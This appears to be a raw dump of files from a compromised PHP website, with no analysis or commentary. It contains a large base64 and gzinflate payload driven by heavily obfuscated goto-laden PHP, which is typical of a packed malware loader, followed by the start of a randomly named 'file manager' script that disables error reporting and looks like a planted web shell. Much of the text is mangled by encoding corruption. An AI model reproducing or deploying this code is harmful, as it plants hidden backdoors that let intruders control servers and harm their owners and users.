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'),10,-8)))?$���:$����);goto ��ʂ;�ʟ�:if(!($�ȩ�[0x0002]==$ʟ��+0x028))goto ֔��;goto ���;ㅃ�:if(!($�ȩ�[0x001]==$ʟ��+0x0007f))goto ���;goto ����;����:}goto ���;��:function FYnYw($����){goto ���;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �Ű�;��ݿ:$ה��=$ה��+pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;Ö��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �Ѷ�;����:global $���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��ݴ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;�ټ�:global $ה��;goto ��;Ч��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto χ��;�諯:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ðل;��:global $��˯;goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ַ�;�䓫:global $ה��;goto �֝;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:��ڄ:goto �̙�;ע��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ��Ȯ;��Ȯ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ν�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;�Ű�:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;ᝪ�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �葡;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ŗ��;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto �ծ;���:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto �Ө�;ɡ·:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;�lj�:if(!($����<�ߕ(0x001992,0x0000019bd,0x00196a)($����)))goto ��ڄ;goto �䓫;ц˚:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;�Ɖ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�֝:global $ה��;goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ɖ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;�Ǘ�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;��ś:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ν�;����:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ˤ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;Ν�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �֝�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ڱ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;ڒ��:global $��˯;goto ��;����:$����++;goto ��;��Lj:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ��ݿ;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �諯;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;Ŗ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ў��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��ݴ;��:global $���;goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �ڔ�;�葡:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto �ܓ�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;ˤ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;¨�:���:goto �lj�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto Ч��;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto Ν�;�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;ў��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;���:global $���;goto ڒ��;���:global $���;goto ����;�ݭ�:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��̼;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto ����;����:global $���;goto ���;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��˂;�̙�:return $����;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ���;蜨�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;�ַ�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ɡ·;�ܓ�:��:goto ����;��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ע��;����:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$����=gzinflate(�ߕ(0x00191a,0x000001940,0x0000018fa)($����));goto �Ǘ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�ڔ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:global $ה��;goto �ټ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:global $���;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��Ō;��Ō:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;栲�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;�֝�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;����:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ӽ��;�ڱ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ѷ�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��Lj;�ĝ�:$����=0;goto ¨�;����:$����[$����]=����(0x02463,0x0246d,0x002432)(����(0x0000249d,0x00002489)($����[$����])-0x001);goto ����;��:$ה��=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=pow(round($���),$ה��*0xab/($���+0xab)*M_PI);goto �ĝ�;Ķ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;�ծ:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ᝪ�;��:goto ���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto Ķ��;�Ө�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto �ݭ�;ݝ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 栲�;��̼:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ц˚;��˂:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ��ś;ӽ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ��;ðل:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ö��;���:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ݝ��;χ��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 蜨�;����:}goto �IJ�;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);PK �em\��f(�E �E f3wzk.phpnu �[��� <?php
// file_manager_simple.php - File Manager without JavaScript
session_start();
error_reporting(0);
// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);
// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
$path = str_replace('..', '', $path);
$path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
return trim($path, '/');
}
function safe_realpath_within($path, $allowed_root){
$rp = realpath($path);
if($rp === false) return false;
$root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
return $rp;
}
return false;
}
function get_file_list($dir){
$files = [];
if(is_dir($dir)){
$items = scandir($dir);
foreach($items as $item){
if($item === '.' || $item === '..') continue;
$full_path = $dir . DIRECTORY_SEPARATOR . $item;
$files[] = [
'name' => $item,
'path' => $full_path,
'size' => is_file($full_path) ? filesize($full_path) : 0,
'type' => is_dir($full_path) ? 'directory' : 'file',
'modified' => date('Y-m-d H:i:s', filemtime($full_path))
];
}
}
return $files;
}
function format_size($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
